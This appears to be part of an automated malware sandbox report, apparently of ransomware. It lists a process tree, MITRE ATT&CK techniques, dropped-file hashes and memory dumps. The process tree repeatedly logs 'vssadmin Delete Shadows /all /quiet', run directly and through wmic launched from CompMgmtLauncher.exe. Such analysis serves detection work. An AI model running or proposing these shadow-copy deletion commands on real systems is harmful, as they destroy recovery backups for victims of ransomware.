PID:1304

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2232

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2020

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2336

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1856

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:836

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2340

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:620

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2856

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2500
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2516
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:796

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2300

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3056

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2668
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2128
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2896

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ea6b26df699f6030db0db38d8226a97c

SHA1
e51cf635c65d8fce88b1fe9050ee65092700985b

SHA256
2bac091a52e7e40673d0333b1148c4998b014ac987321ecef72377dcffacfa37

SHA512
ba372865d15968f88cfb29117415a0aec12b06834b9cae85bea386302d5f4f38e28e308d46ff7d385623b40ec4458ebd041d2994552d4623773d7b2dff52ca6e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
04b5faf86dec2869f21eea39cf9daf84

SHA1
a5567a3550f54c0a670dd46c531af412e3665101

SHA256
6f5a05a6383c6dfc33e19f3263d4578e5549a5d5bc220004a5ea9f55ccf64cd6

SHA512
ec67518e717b308974768cd92223614348a52b8c2df77504b11a2e3febc2d4be5d5f17cb0d7a7af27146ddc16000d6aceae9f57e2cad4f5625b06604aca62975

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a3586e37d33a1f99124948016124e7b2

SHA1
0abcbdfafcebe7acbb9611e064a15a0cf4a12207

SHA256
bde8b6f24dfc0270d20a6eb9361e03aaf24120b6ca044cc1f88737cd8298c8b7

SHA512
533b698c651d9dd858944724759e62799abdbf0d2be39d219c9b8029581a5fa0c86932d631eed7bcb063771bd90d620299746e87cb5ddb98c3271e377ed81640

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
2a7780678ce1a48e6c28b8a531e500e8

SHA1
83d5f8ed609b6e51f62f922e44996c1fdcb88311

SHA256
569a900230565334a53fd59f9a1f55537f0e837b34f0bbb4100ec2724ff8e5b7

SHA512
9f64cab334942ac9c4eb094265fb7a3441f453cb9e0f2d701b8cf8201f4b07ef8c4e2cb45949ebd7b50e0300ab7114ead11cae35bd5bbe25fae9ec96c90923db

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7f1f22c38b0318b5d819e6151f617e8a

SHA1
b38c39b59480779756603c807a0980f7e0b46f52

SHA256
1ef9cff67f3b5635eec96e8db0fdde14788adc7af573f14d23344cbcceabb4e5

SHA512
6fcfb4cf6d093071d950a0ff16c81355348f5de57a8830f75515173f2a5cea7f3950fec753ab840b1bac74def77d99b1d4d0925251fd64527d3b52f205dafac7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
dea0a7f26d906f23f564ea17b21fda1e

SHA1
43a338c0fe8cedf8e1de1832c07ef800d9199c55

SHA256
aeb4f5821e397c22e02c9f43729c2893e51968049554f7e5f91bb2d01c74ae82

SHA512
c3c9b8c83689a8968bc844ced04f00bdc1aae7860488dd85a95e00652a9908788f55e33961a4cfa5e270e98ce576660ed376387226f859df43fbaf6634dd3877

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
17e17c85af913c17fca50bd1d2927dfa

SHA1
4e694477a70f153abe9832b380a65c07e27195f8

SHA256
c699c52a35f40335bd186cdf5b0a724a4fab815d67e642b581797a9dc8064147

SHA512
b31095b7e69d9172a9fbbc09142ae93c50b10221a1059d7c174942acb1c47b8fd6ef3b052470038282fd653326fe513c59d550c70b4a87a3cb3db8cc4f939543

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
8f94f4c9a9f90d30ff4b0baa015c64fe

SHA1
76d1468d85554af4ac1c736b6d225de2bfb37cfd

SHA256
43a365873247b7587660188640433039c920ebc27e0fade0b8d93263924361fa

SHA512
4bf171242845929720873ca6ccb7b140c53eb28bd0ee7a59cc28d7d8a50581a5919b56e6811a6748ae9de401e0565e496696d96f089196fa7d4230b39bb8e60f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
4a33d7dd9ae8a71317fa93a4c6fbba5e

SHA1
bb8cbce45a382ebc2caa86577dcd83928da144b2

SHA256
fcdfc9ef147bdaaa73a03763afa868d05aa2909f449f16440456e7acc0fd355c

SHA512
661dd805585f0b77c4476d71fec75ace094271018fd3d229b781707504c3ae45702ab83afb7a792b3d8812616376cbb9c0800c96a3e645e447c78e06d7f3de91

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
24bb8f6a76964233e4dfc3b43b44c7fc

SHA1
4f08da2c978ad5e473b86147ce01006826c97c5f

SHA256
0f539c702e3d7461bb94b7cb1d195e6b6d9e15c88965bc93e0f6b2dbe0bd70e4

SHA512
7934786fce2ffaa6d808313ae5c89d423f05c23e343365b6e45bb640052cdab8dbcc4bb4bee39c2222b28032500c8843112f826684372d371ee56b7763660d22

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
87de5b8d2ed923dd5cf0be4ff578a5da

SHA1
be736a0381d41dc8794ca51905d2b4b7d9156663

SHA256
c33c61c15754a214dfbf74384b965cdc6552a5cb040638c86854cce73da5f436

SHA512
dd6dc4be910bf3de98fe5d6559139dea78db6ac47ed6dd272f301807aa74a4622569996f90fbfb876114076fb761bce86de2fbe62167d5d1560ec9f9c197211c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
df7b41878b8f3de6c06ffb65357591b4

SHA1
1dfea72bf812c2237b7ec8c5064230bbbb00e9c6

SHA256
17a4a7071f07df8d4c4e9c105ad0e05c4e9d146e399a76c9bd0510ecb412367a

SHA512
84c99a128e97309af3a0a0d69ce88ae7a9d60b05720f161b223f4a7b43a4ff5a8651cdd6cdf2f03fbd4eb5e25ff5d2ed3792b5a31912e7d37c16e529bab2ec1f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d3cdfe938c95291b6d5ff03b263418af

SHA1
e4b7ee496cd1882deb532ee7c09e92cdfbdf683d

SHA256
4ff616a77210cc173b9e125b54ab15937e5db9c74da249036fd15ec2860f0f37

SHA512
027b155984bdae4f40b61b5b5bae35f07ae3565a061a31b7d7a4a198253e3d6de4ba6670f1a5b3af6cc118e5a3deba5e1f1d2a9edcf3169c19ee755a120012d0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
45bf80572bd04273d1ee61ca3d9ca86f

SHA1
bbf39a5169304225a102d91d75c73dd7647295c5

SHA256
05e7bed47ee94585b34147245d52d89f545ac2c3ff0df8ad46a91317a4a0b47f

SHA512
bd857f697a16eabd4a07492d618dc689a331604e26d25b940790ddffe0751c640e87ee77e205008adbe76553703951d3176bb8b0e7de73c4b827a58e1e7a50ce

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
2f5905b148eae38e15b7c518798e2462

SHA1
607a5bcbde8c9a2e4a89f1dfc1ac9e54aa6d240a

SHA256
32257ec11b67c212ed3f2609d31183f9e940a31a9967d010287f1b5be674d6de

SHA512
2b7db4c4007139929ad080cbde0b1ba57cf479d4c1ee1d8da5736527b751975e1bd4fba2c9c409532711e841b58ca90f7717214e249adbb399a08c801e5d59e6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0e3ea56c14b1bd397a87d01fc254c3fe

SHA1
dcbf1db5b7696c407b3bdca0945d8d0626159f9a

SHA256
dc1132d0c888569210bdd1a5a924431e6daa84d558c1efbfedb92f0fbdb2c8a3

SHA512
bc88edb457850ade6a0ebe9be70f06e51cac9a39184e075ebc8a2ff0a342a695735c6c91bddabf44c0a09f64b079a7a5e00082c57b6033006f1431dbd04810c6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
2e89501746b5f962accd948eb2c24b08

SHA1
ab92e22bb1ffd7d79ba92c05804c75dcd69bc4d7

SHA256
f89e31cebea6d1d5634443ba9a54f9a4167d3667c1b51fa5d2c4ce65c62fb952

SHA512
9df88db7432183964e65dc3273d3797eb27fa61f28d3ad6e677aa01345ef83a5c1a517c7c12758d9ab0e1358b7ff67dd03dfe7b60f4ea7dbe176aa65baff2203

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
16e5f81004bcdde5e101f197fbdd29cf

SHA1
88b50eaa6f77f8a230b0adef47428cabebca96db

SHA256
748446db598df81b42454bf50784e146e672c27257ecf7975fbb5dd7e3040308

SHA512
30113b24ef42d0836d7f65c7f2d720723557d47f29dff1c3b092db40e7c66f470e0729e52acf51e025271b4c15b15dfc375dd7b6f8dafa48e487f5454485cc6b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
05b11c99bac72f888584e8caf24d931f

SHA1
ee73629370d7e519b683ad5b5e2c5a729710d81d

SHA256
ef16bc4d8119b0a99ccd4585110b7075f154feb408a2c344170012fa126c5c0b

SHA512
88091a757c4410191ee746efd89908c3bb1e414d01ae0e19db751536f942f3c53e69f8e436a7d4604bfb4dbf9f3d385739ca131782fc46022e17d80cef60aaa3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7ca357f30040657e91d2b21b702aa67d

SHA1
e6b1d294c90edf0978a7e908c339541555e3d6a3

SHA256
46ad021ddf157b2956a7100923a6bb9785f08b425f473572235d7c9810e06d2f

SHA512
14b9a674e6a98b165a065f3d226552f72a77ff0aa669e8bbc3603dfa1abbab59aa109e9b6125f83c3ce96258012a793db420a3ccd646aa90dfcf7cec621eedae

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
68ef63a5e01cbea61c18b377f3b48841

SHA1
0365b1bc5e9e11e4071051c68af2be383c18b972

SHA256
ec780870a7d71d0c7e412d151d89e53b28511c3ff59ad47b8dca9773c116949a

SHA512
f553e9009ef9dba5b20e2c50c5c11e89488a98ff7ea9361fdd72d3af836c3da5503be16af38c98527e9bebcbd4c3f9d561e3cc96479a2080dd0d2dff216cbfe0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab675E.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar67AF.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
21718a759cdde8aa7a0b9f626805a415

SHA1
4522ffd2cef4f64fc7edb39bdae8b92f5a900f04

SHA256
7dc86d9082a60741c05004c491d9f32add2bc23aee3ce9bdbe378c044554c6df

SHA512
2cdd7fede38493911e89426e3f59ce6df24bcc8f13a896e3bdcd99ec51857c57068b738d17fb233e1b81afb67e6e1d9e045c895b8954be6521ceb9da602138e5

Download Submit
memory/684-7-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/684-13-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/684-12-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/684-11-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/684-10-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/684-9-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/684-8-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/684-6-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/684-5-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/684-14-0x0000000000460000-0x0000000000461000-memory.dmp

Filesize
4KB

Download
memory/684-15-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/684-4-0x0000000001EF0000-0x000000000242E000-memory.dmp

Filesize
5.2MB

Download
memory/1116-0-0x0000000002010000-0x0000000002015000-memory.dmp

Filesize
20KB

Download